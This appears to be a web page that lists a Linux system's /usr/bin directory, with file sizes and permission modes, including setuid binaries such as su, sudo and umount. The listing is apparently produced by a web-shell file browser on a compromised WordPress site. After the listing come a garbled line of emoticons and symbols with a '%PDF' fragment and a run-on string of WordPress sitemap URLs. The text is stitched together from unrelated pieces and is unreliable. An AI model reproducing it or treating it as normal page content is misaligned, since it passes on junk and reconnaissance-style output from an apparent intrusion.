sg_compare_and_write File 14.98 KB 0755
sg_copy_results File 19.25 KB 0755
sg_dd File 38.6 KB 0755
sg_decode_sense File 14.75 KB 0755
sg_emc_trespass File 10.28 KB 0755
sg_format File 27.34 KB 0755
sg_get_config File 27.41 KB 0755
sg_get_lba_status File 14.7 KB 0755
sg_ident File 10.65 KB 0755
sg_inq File 91.49 KB 0755
sg_logs File 126.65 KB 0755
sg_luns File 18.87 KB 0755
sg_map File 14.38 KB 0755
sg_map26 File 22.74 KB 0755
sg_modes File 28.46 KB 0755
sg_opcodes File 27.09 KB 0755
sg_persist File 27.53 KB 0755
sg_prevent File 10.5 KB 0755
sg_raw File 18.99 KB 0755
sg_rbuf File 18.8 KB 0755
sg_rdac File 14.34 KB 0755
sg_read File 22.43 KB 0755
sg_read_attr File 28.84 KB 0755
sg_read_block_limits File 10.51 KB 0755
sg_read_buffer File 15.09 KB 0755
sg_read_long File 10.75 KB 0755
sg_readcap File 18.88 KB 0755
sg_reassign File 14.69 KB 0755
sg_referrals File 10.7 KB 0755
sg_rep_zones File 14.78 KB 0755
sg_requests File 14.81 KB 0755
sg_reset File 10.62 KB 0755
sg_reset_wp File 10.59 KB 0755
sg_rmsn File 10.52 KB 0755
sg_rtpg File 14.62 KB 0755
sg_safte File 14.74 KB 0755
sg_sanitize File 19.16 KB 0755
sg_sat_identify File 14.75 KB 0755
sg_sat_phy_event File 15 KB 0755
sg_sat_read_gplog File 14.75 KB 0755
sg_sat_set_features File 14.66 KB 0755
sg_scan File 14.38 KB 0755
sg_senddiag File 23.31 KB 0755
sg_ses File 87.76 KB 0755
sg_ses_microcode File 19.28 KB 0755
sg_start File 14.87 KB 0755
sg_stpg File 14.8 KB 0755
sg_sync File 10.68 KB 0755
sg_test_rwbuf File 14.7 KB 0755
sg_timestamp File 14.69 KB 0755
sg_turs File 14.68 KB 0755
sg_unmap File 14.65 KB 0755
sg_verify File 14.9 KB 0755
sg_vpd File 94.49 KB 0755
sg_wr_mode File 14.75 KB 0755
sg_write_buffer File 19.28 KB 0755
sg_write_long File 14.75 KB 0755
sg_write_same File 19.06 KB 0755
sg_write_verify File 18.94 KB 0755
sg_xcopy File 34.57 KB 0755
sg_zone File 10.68 KB 0755
sginfo File 64.22 KB 0755
sgitopnm File 14.36 KB 0755
sgm_dd File 26.49 KB 0755
sgp_dd File 34.63 KB 0755
sh File 681.46 KB 0755
sha1pass File 596 B 0755
sha1sum File 42.88 KB 0755
sha224sum File 50.88 KB 0755
sha256sum File 50.88 KB 0755
sha384sum File 54.88 KB 0755
sha512sum File 54.88 KB 0755
shar File 59.24 KB 0755
sharesec File 30.17 KB 0755
shasum File 8.43 KB 0755
showaudio File 7.73 KB 0755
showchar File 2.51 KB 0755
showconsolefont File 14.41 KB 0755
showexternal File 7 KB 0755
showkey File 14.38 KB 0755
shownonascii File 3.12 KB 0755
showpartial File 3.41 KB 0755
showpicture File 3.43 KB 0755
shred File 55.06 KB 0755
shuf File 50.94 KB 0755
sirtopnm File 10.31 KB 0755
size File 31.02 KB 0755
skill File 22.61 KB 0755
slabtop File 18.48 KB 0755
sldtoppm File 14.42 KB 0755
sleep File 30.78 KB 0755
slencheck File 10.31 KB 0755
slogin File 754.7 KB 0755
slptool File 18.44 KB 0755
smbcacls File 46.18 KB 0755
smbclient File 150.57 KB 0755
smbcontrol File 54.56 KB 0755
smbcquotas File 22.1 KB 0755
smbget File 26.18 KB 0755
smbinfo File 23.56 KB 0755
smbpasswd File 30.09 KB 0755
smbprngenpdf File 7.67 KB 0755
smbspool File 22.09 KB 0755
smbtar File 4.78 KB 0755
smbtree File 18.1 KB 0755
smicache File 1.41 KB 0755
smidiff File 50.35 KB 0755
smidump File 385.86 KB 0755
smilint File 14.91 KB 0755
smime_keys File 30.08 KB 0755
smiquery File 22.85 KB 0755
smistrip File 4.05 KB 0755
smixlate File 18.87 KB 0755
smt File 43.18 KB 0755
smtpd.py File 18.1 KB 0755
snapper File 296.12 KB 0755
sndAppleSingle File 972 B 0755
snice File 22.61 KB 0755
snmp-bridge-mib File 29.96 KB 0755
snmpbulkget File 10.48 KB 0755
snmpbulkwalk File 14.55 KB 0755
snmpcheck File 32.9 KB 0755
snmpconf File 25.44 KB 0755
snmpdelta File 18.7 KB 0755
snmpdf File 14.4 KB 0755
snmpget File 10.38 KB 0755
snmpgetnext File 10.38 KB 0755
snmpinform File 14.81 KB 0755
snmpnetstat File 61.1 KB 0755
snmpset File 10.39 KB 0755
snmpstatus File 15.32 KB 0755
snmptable File 22.58 KB 0755
snmptest File 14.5 KB 0755
snmptls File 18.48 KB 0755
snmptranslate File 14.52 KB 0755
snmptrap File 14.81 KB 0755
snmpusm File 34.85 KB 0755
snmpvacm File 27.51 KB 0755
snmpwalk File 14.48 KB 0755
socklist File 3.38 KB 0755
soelim File 30.56 KB 0755
solterm File 22.7 KB 0755
sort File 111.63 KB 0755
spawn_console File 10.29 KB 0755
spawn_login File 10.29 KB 0755
spax File 340.27 KB 0755
spctoppm File 10.29 KB 0755
splain File 18.25 KB 0755
split File 67.51 KB 0755
splitmail File 18.63 KB 0755
spottopgm File 10.33 KB 0755
sputoppm File 6.27 KB 0755
sqlite3 File 809.6 KB 0755
sqlite3_analyzer File 29.14 KB 0755
srftopam File 14.4 KB 0755
ss File 125.32 KB 0755
ssh File 754.7 KB 0755
ssh-add File 450.27 KB 0755
ssh-agent File 466.28 KB 0755
ssh-copy-id File 10.12 KB 0755
ssh-keygen File 510.45 KB 0755
ssh-keyscan File 446.27 KB 0755
star File 340.27 KB 0755
stat File 75.16 KB 0755
stdbuf File 62.95 KB 0755
stdlogctl File 6.19 KB 0755
strace File 499.16 KB 0755
strace-graph File 8.08 KB 0755
strace-log-merge File 944 B 0755
stream File 6.23 KB 0755
strings File 31.2 KB 0755
strip File 171.54 KB 0755
stty File 66.91 KB 0755
stty.pl File 273 B 0555
su File 58.17 KB 4755
sudo File 151.37 KB 4755
sudoedit File 151.37 KB 4755
sudoreplay File 59.83 KB 0755
sum File 38.85 KB 0755
sun-audio-file File 1.01 KB 0755
sun-message File 1.21 KB 0755
sun-message.csh File 1.42 KB 0755
sun-to-mime File 1.18 KB 0755
sun2mime File 1.21 KB 0755
sunicontopnm File 10.31 KB 0755
susetags2solv File 324.71 KB 0755
svgtopam File 14.53 KB 0755
sync File 30.81 KB 0755
syslinux File 58.21 KB 0755
syslinux-mtools File 50.1 KB 0755
syslinux2ansi File 1.39 KB 0755
systemctl File 692.05 KB 0755
systemd-analyze File 1.48 MB 0755
systemd-ask-password File 66.3 KB 0755
systemd-cat File 42.27 KB 0755
systemd-cgls File 331.06 KB 0755
systemd-cgtop File 339.13 KB 0755
systemd-delta File 86.43 KB 0755
systemd-detect-virt File 46.27 KB 0755
systemd-escape File 50.27 KB 0755
systemd-firstboot File 110.42 KB 0755
systemd-hwdb File 86.42 KB 0755
systemd-inhibit File 307.05 KB 0755
systemd-journalctl File 523.06 KB 0755
systemd-loginctl File 503.05 KB 0755
systemd-machine-id-setup File 70.28 KB 0755
systemd-notify File 46.27 KB 0755
systemd-nspawn File 639.46 KB 0755
systemd-path File 54.27 KB 0755
systemd-run File 399.37 KB 0755
systemd-stdio-bridge File 299.06 KB 0755
systemd-sysusers File 110.43 KB 0755
systemd-tmpfiles File 166.43 KB 0755
systemd-tty-ask-password-agent File 110.45 KB 0755
systool File 22.59 KB 0755
tabs File 14.46 KB 0755
tac File 34.84 KB 0755
tagmedia File 3.63 KB 0755
tail File 63.03 KB 0755
tartest File 34.49 KB 0755
taskset File 30.1 KB 0755
tbl File 106.72 KB 0755
tclsh File 6.24 KB 0755
tclsh8.6 File 6.24 KB 0755
tcsh File 378.18 KB 0755
tee File 34.88 KB 0755
telnet File 97.47 KB 0755
termidx File 6.21 KB 0755
termprobes File 702 B 0755
test File 46.81 KB 0755
test_xauth File 6.15 KB 0755
testparm File 30.09 KB 0755
testrb File 82 B 0755
testrb.ruby2.1 File 82 B 0755
testsaslauthd File 14.38 KB 0755
testsolv File 621.02 KB 0755
tfmtodit File 30.89 KB 0755
tgatoppm File 14.32 KB 0755
tgz File 2.24 KB 0755
thinkjettopbm File 18.4 KB 0755
tifftopnm File 34.62 KB 0755
time File 14.65 KB 0755
timed-read File 303 B 0755
timed-run File 277 B 0755
timedatectl File 335.06 KB 0755
timeout File 55.48 KB 0755
tkmib File 30.13 KB 0755
tknewsbiff File 11.11 KB 0755
tload File 14.45 KB 0755
toe File 14.5 KB 0755
top File 98.61 KB 0755
touch File 59.03 KB 0755
tput File 14.52 KB 0755
tr File 42.84 KB 0755
traptoemail File 2.16 KB 0755
troff File 480.14 KB 0755
true File 26.75 KB 0755
truncate File 50.91 KB 0755
trust File 167.47 KB 0755
tset File 18.66 KB 0755
tsort File 38.81 KB 0755
tty File 26.78 KB 0755
turbostat File 97.23 KB 0755
tzselect File 14.95 KB 0755
udevadm File 474.44 KB 0755
udisksctl File 51.4 KB 0755
ul File 18.09 KB 0755
ulockmgr_server File 14.48 KB 0755
umount File 30.17 KB 4755
uname File 30.84 KB 0755
uname26 File 14.37 KB 0755
unbuffer File 640 B 0755
uncompress File 2.29 KB 0755
unexpand File 34.88 KB 0755
unicode_start File 3.44 KB 0755
unicode_stop File 363 B 0755
uniq File 42.91 KB 0755
unix-lpr.sh File 4.07 KB 0755
unix2dos File 38.49 KB 0755
unix2mac File 38.49 KB 0755
unlink File 26.79 KB 0755
unlz4 File 604.45 KB 0755
unlzma File 63.13 KB 0755
unmunch File 14.34 KB 0755
unpigz File 98.95 KB 0755
unshar File 14.53 KB 0755
unshare File 22.38 KB 0755
unxz File 63.13 KB 0755
unzip File 162.95 KB 0755
unzip-plain File 162.95 KB 0755
unzipsfx File 74.8 KB 0755
unzipsfx-plain File 74.8 KB 0755
update-mime-database File 51.23 KB 0755
updateinfoxml2solv File 265.09 KB 0755
uptime File 42.95 KB 0755
urlgrabber File 11.92 KB 0755
usb-devices File 4.12 KB 0755
usbhid-dump File 22.58 KB 0755
users File 30.81 KB 0755
ustar File 340.27 KB 0755
utmpdump File 22.17 KB 0755
uudecode File 14.52 KB 0755
uudepipe File 893 B 0755
uuencode File 10.43 KB 0755
uuenpipe File 738 B 0755
uuidgen File 14.09 KB 0755
uuidparse File 34.17 KB 0755
uz File 2.25 KB 0755
vcut File 18.48 KB 0755
vdir File 119.73 KB 0755
verify_blkparse File 10.3 KB 0755
vi File 2.25 MB 0755
view File 2.25 MB 0755
vim File 2.25 MB 0755
vimdiff File 2.25 MB 0755
vimtutor File 2 KB 0755
vitmp File 6.22 KB 0755
vlock File 18.78 KB 0755
vm-support File 10.37 KB 0755
vmhgfs-fuse File 51.16 KB 0755
vmstat File 30.51 KB 0755
vmtoolsd File 63.89 KB 0755
vmware-alias-import File 71.07 KB 0755
vmware-checkvm File 10.37 KB 0755
vmware-hgfsclient File 10.43 KB 0755
vmware-namespace-cmd File 18.51 KB 0755
vmware-rpctool File 26.52 KB 0755
vmware-toolbox-cmd File 55.34 KB 0755
vmware-vgauth-cmd File 18.46 KB 0755
vmware-vgauth-smoketest File 18.38 KB 0755
vmware-xferlogs File 44.84 KB 0755
vorbiscomment File 30.99 KB 0755
w File 18.51 KB 0755
w3m File 1.39 MB 0755
w3mman File 1.11 KB 0755
wall File 30.17 KB 2755
watch File 23.17 KB 0755
watchgnupg File 14.44 KB 0755
wbmptopbm File 10.27 KB 0755
wc File 42.91 KB 0755
wdctl File 30.27 KB 0755
webpng File 10.35 KB 0755
westcos-tool File 26.97 KB 0755
wget File 398.08 KB 0755
whatis File 51.98 KB 0755
whereis File 22.59 KB 0755
which File 22.57 KB 0755
who File 46.94 KB 0755
whoami File 26.79 KB 0755
winicontopam File 18.38 KB 0755
winicontoppm File 14.4 KB 0755
wodim File 440.8 KB 0755
wordforms File 1.3 KB 0755
wordlist2hunspell File 1.66 KB 0755
write File 18.16 KB 2755
wsrep_sst_common File 8.24 KB 0644
wsrep_sst_mariabackup File 35.51 KB 0755
wsrep_sst_mysqldump File 7.69 KB 0755
wsrep_sst_rsync File 15.98 KB 0755
wsrep_sst_rsync_wan File 15.98 KB 0755
wsrep_sst_xtrabackup File 20.78 KB 0755
wsrep_sst_xtrabackup-v2 File 39.74 KB 0755
x86_64 File 14.37 KB 0755
x86_64-suse-linux-gnu-pkg-config File 504.32 KB 0755
x86_energy_perf_policy File 27.02 KB 0755
x86info File 98.53 KB 0755
xargs File 58.88 KB 0755
xauth File 39.42 KB 0755
xbmtopbm File 10.32 KB 0755
xdg-desktop-icon File 18.64 KB 0755
xdg-desktop-menu File 40.63 KB 0755
xdg-email File 23.3 KB 0755
xdg-icon-resource File 27.67 KB 0755
xdg-mime File 38.07 KB 0755
xdg-open File 20.53 KB 0755
xdg-screensaver File 31.25 KB 0755
xdg-settings File 32.85 KB 0755
xdg-su File 14.49 KB 0755
xdg-terminal File 15.69 KB 0755
ximtoppm File 14.38 KB 0755
xkibitz File 4.75 KB 0755
xml_grep File 13.36 KB 0555
xml_merge File 3.98 KB 0555
xml_pp File 7.91 KB 0555
xml_spellcheck File 6.44 KB 0555
xml_split File 21.22 KB 0555
xmlcatalog File 14.46 KB 0755
xmllint File 64.5 KB 0755
xmlwf File 26.68 KB 0755
xpath File 1.41 KB 0555
xpmtoppm File 18.5 KB 0755
xpstat File 6.45 KB 0755
xsltproc File 22.66 KB 0755
xsubpp File 4.49 KB 0755
xtotroff File 66.55 KB 0755
xvminitoppm File 10.32 KB 0755
xwdtopnm File 18.42 KB 0755
xxd File 18.53 KB 0755
xz File 63.13 KB 0755
xzcat File 63.13 KB 0755
xzcmp File 5.14 KB 0755
xzdec File 10.34 KB 0755
xzdiff File 5.14 KB 0755
xzegrep File 5.23 KB 0755
xzfgrep File 5.23 KB 0755
xzgrep File 5.23 KB 0755
xzless File 1.76 KB 0755
xzmore File 2.11 KB 0755
ybmtopbm File 6.27 KB 0755
ycpc File 64.12 KB 0755
yes File 30.78 KB 0755
ypcat File 14.52 KB 0755
ypchfn File 22.74 KB 0755
ypchsh File 22.74 KB 0755
ypdomainname File 10.43 KB 0755
ypmatch File 22.71 KB 0755
yppasswd File 22.74 KB 0755
ypwhich File 14.59 KB 0755
yuvsplittoppm File 10.33 KB 0755
yuvtoppm File 10.32 KB 0755
yzpper File 1.88 MB 0755
zcat File 1.94 KB 0755
zcmp File 1.64 KB 0755
zdiff File 5.7 KB 0755
zegrep File 29 B 0755
zeisstopnm File 10.3 KB 0755
zfgrep File 29 B 0755
zforce File 2.03 KB 0755
zgrep File 7.6 KB 0755
zip File 204.26 KB 0755
zipcloak File 96.34 KB 0755
zipdetails File 46.99 KB 0755
zipgrep File 2.88 KB 0755
zipgrep-plain File 2.88 KB 0755
zipinfo File 162.95 KB 0755
zipnote File 92.05 KB 0755
zipsplit File 96.05 KB 0755
zless File 2.01 KB 0755
zmore File 2.01 KB 0755
znew File 4.45 KB 0755
zsh File 693.03 KB 0755
zsoelim File 47.12 KB 0755
zstd File 7.88 MB 0755
zypp-CheckAccessDeleted File 14.48 KB 0755
zypp-NameReqPrv File 79.72 KB 0755
zypper File 1.88 MB 0755
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml